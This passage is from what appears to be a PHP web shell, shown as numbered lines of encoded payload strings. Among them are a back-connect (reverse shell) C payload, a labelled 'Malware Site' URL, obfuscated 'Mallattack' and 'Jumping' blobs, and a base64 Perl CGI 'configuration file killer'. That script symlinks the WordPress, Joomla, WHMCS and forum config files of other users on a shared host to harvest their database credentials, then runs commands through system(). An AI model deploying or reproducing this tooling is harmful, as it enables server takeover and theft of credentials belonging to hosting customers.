542S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
543ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
544Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
545$back_connect_c = "XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
546BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
547zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
548i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
549RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
550jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
5516f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
552// Malware Site
553$malsite = "http://fightagent.ru";
554$self = $_SERVER["PHP_SELF"];
555//Mallattack
556$mal = "eNqV0UtrAjEQAOC70P8wYHsRyRa8FYpQSR9QXAmCBxHJrkMSjDNhk/pA/O+uFuyx5javj4GZLrzJj68xzLhZTRqM8aGjcNe4hJKMI4SSbpUyJMcUwZHFNr/VR0wreDp+TqeTpZLvUkl1AtHTcS1q3ojeI8zHo36pFv8Jw2w8ZoBNpMuK+0HlyOQJ77aYJzT7TOCT3rqYdB7Dfd0280xE3dRWHLRl/lV/RP14bEfAphReisJ4rrQPvGt/TcboZK8BXy9eOBLBhiG9Dp5hrvrfizOeH7rw";
557//PerlConfig
558$gantengers = "IyEvdXNyL2Jpbi9tYW5udSAtSS91c3IvbG9jYWwvYmFuZG1pbg0KcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7DQpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+DQo8aHRtbCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLmR6IHsNCmZvbnQtZmFtaWx5OiBUYWhvbWE7DQpmb250LXNpemU6IDE0cHg7DQpmb250LXdlaWdodDogYm9sZDsNCmNvbG9yOiAjMzMzM2ZmOw0KdGV4dC1hbGlnbjogY2VudGVyOw0KdGV4dC1zaGFkb3c6IGJsYWNrIDBweCAwcHggMnB4Ow0KfQ0KI2NoZWNrb3V0dGV4dGFyZWEgew0KDQp3ZWJraXQtYm9yZGVyLXJhZGl1czogMTVweDsNCg0KfQ0KOmhvdmVyI2NoZWNrb3V0dGV4dGFyZWEge29wYWNpdHk6IDAuNjsgYmFja2dyb3VuZC1jb2xvcjozMzMzMzN9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQooJHVzZXIpID0gQF87DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC1vcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbS9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLW9zY29tLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2VzL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZXMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcC9pbmNsdWRlcy9jb25maWd1cmUucGhwJywka29sYS4nLXNob3AyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC1zaG9wcGluZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hbWVtYmVyL2NvbmZpZy5pbmMucGhwJywka29sYS4nLWFtZW1iZXIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLmluYy5waHAnLCRrb2xhLictYW1lbWJlcjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1tZW1iZXJzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLictMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWZvcnVtLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtcy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLWZvcnVtcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJy01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLictNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLXdwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dQL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy1XUC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy13cC1iZXRhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLWJldGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cDEzLXByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtd29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtV29yZHByZXNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy13b3JkcHJlc3MtYmV0YS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AxMy1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtbmV3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1ibG9nLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1iZXRhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2dzL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtYmxvZ3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLXdwLWhvbWUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd3AtcHJvdGFsLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1zaXRlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC1tYWluLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Rlc3Qvd3AtY29uZmlnLnBocCcsJGtvbGEuJy13cC10ZXN0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJy02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLictOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJy05LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJy0xMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLXByb3RhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb28vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Ntcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEtY21zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLXNpdGUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEtbWFpbi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS1uZXdzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEtbmV3LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLWhvbWUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy12Yi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy12YjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy1pbmNsdWRlcy12Yi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htMTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2VudHJhbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tY2VudHJhbC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9XSE1DUy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tV0hNQ1MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9XSE0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htYy1XSE0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1zdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHAvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VwcC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NlY3VyZS93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLXdobS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZWN1cmUvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictc3VjdXJlLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NwYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jcGFuZWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictcGFuZWwudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictaG9zdGluZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0cy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1qb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJy13aG1jczIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY2xpZW50ZXMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50c3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnRzdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictYmlsbGluZy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYW5hZ2UvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictd2htLW1hbmFnZS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy13aG0tbXkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXdobS1teXNob3AudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXplbmNhcnQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvemVuY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictc2hvcC16ZW5jYXJ0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc21mL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYtZm9ydW0udHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy1zbWYtZm9ydW1zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLXVwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3VwL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictdXAyLnR4dCcpOw0KfQ0KaWYgKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgJ1BPU1QnKSB7DQpyZWFkKFNURElOLCAkYnVmZmVyLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCn0gZWxzZSB7DQokYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQooJG5hbWUsICR2YWx1ZSkgPSBzcGxpdCgvPS8sICRwYWlyKTsNCiRuYW1lID1+IHRyLysvIC87DQokbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KJHZhbHVlID1+IHRyLysvIC87DQokdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0iZHoiIGJnY29sb3I9ImJsYWNrIj4NCjxwPjxmb250IGNvbG9yPXdoaXRlPmNvbmZpZ3VyYXRpb24gZmlsZSBraWxsZXI8L3A+DQoNCjxzcGFuPjxmb250IGNvbG9yPSJ3aGl0ZSI+c3VwcGx5IHVzZXJuYW1lcyB0byBzeW1saW5rIGNvbmZpZ3VyYXRpb24gZmlsZXM8L2ZvbnQ+PC9zcGFuPjxiciAvPg0KPGJyIC8+PGZvcm0gbWV0aG9kPSJwb3N0Ij48c3Ryb25nPg0KPHRleHRhcmVhIGlkPSJjaGVja291dHRleHRhcmVhIiBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjJweCBkYXNoZWQgcmVkOyB3aWR0aDogMzAwcHg7IGhlaWdodDogMjAwcHg7IGJhY2tncm91bmQtY29sb3I6YmxhY2s7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjlwdDsgY29sb3I6IHJlZCIgPjwvdGV4dGFyZWE+PGJyIC8+DQombmJzcDsNCjxwPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9InNwaW4gaXQgOC0pIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwRkZGRjsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjogYmxhY2s7IHRleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTsgaGVpZ2h0OjIzOyBiYWNrZ3JvdW5kLWNvbG9yOiNGNEY0RjQ7IiAvPjwvcD4NCjwvZm9ybT48L3N0cm9uZz4NCic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSA9fiBtLyguKj8pOng6L2cpew0KJmxpbCgkMSk7DQpwcmludCBNWUZJTEUgJDEuIi50eHQgIjsNCmZvcigka2Q9MTska2Q8MTg7JGtkKyspew0KcHJpbnQgTVlGSUxFICQxLiRrZC4iLnR4dCAiOw0KfQ0KfQ0KfQ0KcHJpbnQnPGJvZHkgY2xhc3M9ImR6IiBiZ2NvbG9yPSJibGFjayI+DQo8aDI+ZG9uZSA8L2gyPg0KPHA+Jm5ic3A7PC9wPic7DQppZigkRk9STXt0YXJ9IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3NlKElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0uJy50YXIiPjxmb250IGNvbG9yPSIjMDBGRjAwIj4NCjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmUiPjwvc3Bhbj48L2ZvbnQ+PC9hPjwvcD4nOw0KfQ0KfQ0KcHJpbnQiDQo8L2JvZHk+DQo8L2h0bWw+";
559//Jumping
560$jumper = "zVPdbtMwFL6ftHc4tSLZ0dKmwF2bpEgILkFar2CbghPbxCiJI9thK9MeiLfkOFnLygXXKErkfj/n15V1Y4BknlethLrlzuW3pO5EZR5uSZF5i6+A2rRu4D1SrxElW7i8YJHrIAfd6/Kb9Iw6rmTZGSFpDHkO6xh2qJpF1ChFNyC0ZOS9tcZuYH+UI/2pz1IvCvzY8AmlFJcXmdA/ThXpXhnMvB8t7/bNm7bNUqQL+Ev2nR84yuCL6Sotl9fGePgFZCW4l4x+ponXnWRxvCIIRg8feSfxuF3GMMcjcWjNSV8GYdnqTnu2RvBtNGCGe4HVKjPIntFU+jqdQZpQSyenVsAWz9IYHkPHwMjN8g6mtmED78wo+q8eriUX8CLG/zSBp7C4YaywWW4tPzDEotFJ686Q2vTqDND4a72F+0a3ki2UNIodZxE/TpfB2zBAvC/uxGwhDA29Bbxar1EXDSbkQS0eWPAkdDOPdyqix5IDP1ZIzfw6CaZQgtD2Z7hwaWM6mdLVybGiKXbU6rpsfNem9Lgt9ifmAn00VBpw7UqLKwqbYFPUQEytlsPomtnmkpMbk79kMVcy28I4wxPpq6twVgbj1g08RwDu5tlOE5Lh30hvPpixF7C4g4xDY6XKye6Qn7V03g4p/kGmWcqLrLIFnTe7K34D";
561//domain viewer
562$private = "y8kvS1WozC9VCE7MKc5IVLDSAgA=";
563$zonekerupuk = "rVVtb9s2EP5uwP/hqgWRDTiWnWRrIcvChjUFhmZJYbtfNhcGLZ8sIhQpUFRtt8h/31EvsfPidgVKwBB5R94999xDGqNEOe1WkJudwLDdMrg1TCODr+2Wxpx/QV8qiaN2K1JCaR9+GZQDyLJk0d1aq0Kuzipn7RsBtFuxkuasPP8mMyOoN8TlsGeVXqH2h9kWciX4CjYJNwgPnjOBsfHh8rl/w1cm8X+9vMi2tEqQrxPjXw4G5fK+3eIyK4yF/xjwT8F7HNXxeghS4DX0BhFKgzoMYqVTSNEkajWeOx9up7O5Q/6/udZKg287ggIjA+XJsfukmKOlfLOMbxdxrITaXhutu3S4IFmKBD4tMZfwA5UZrmT4hSRzlgRevSwZKMsJg6Wm5Y0yPEYNNxTBh6BqmdllNpxV4NyBTLAIEyUoNRnfoy6y4o7sddIVxuSnrGCLJcPFOSGoor9VKeMyB98ugwdFV0zOnUpA8NvrNyQZqAUEF4NzWh4kqILYoF4Too7/GG9eLFNuEX9morCGKcrVPs5aVcx4tuN2YjHRzyFpkOxyNAvDU1wITlGgM+iSncfQeRUXMrLsLXDLc5NDx4kKLRZccuN0u19XHMk0S3gO00jzzECRYw7Rx8k1XPOlZnrXg50qIC1yA1SJYUJAzDWtXpUgGCQa47GbGJP5nseK836WZH2JxkuZLJjwUHo2Z59AFpl1uuEPbA48Fjrd0X1Zpy3p95OFFfq/7lq5n7rtFt1RqAeRgyxKoIPbTKiVLW0unR40J+pu0DFgO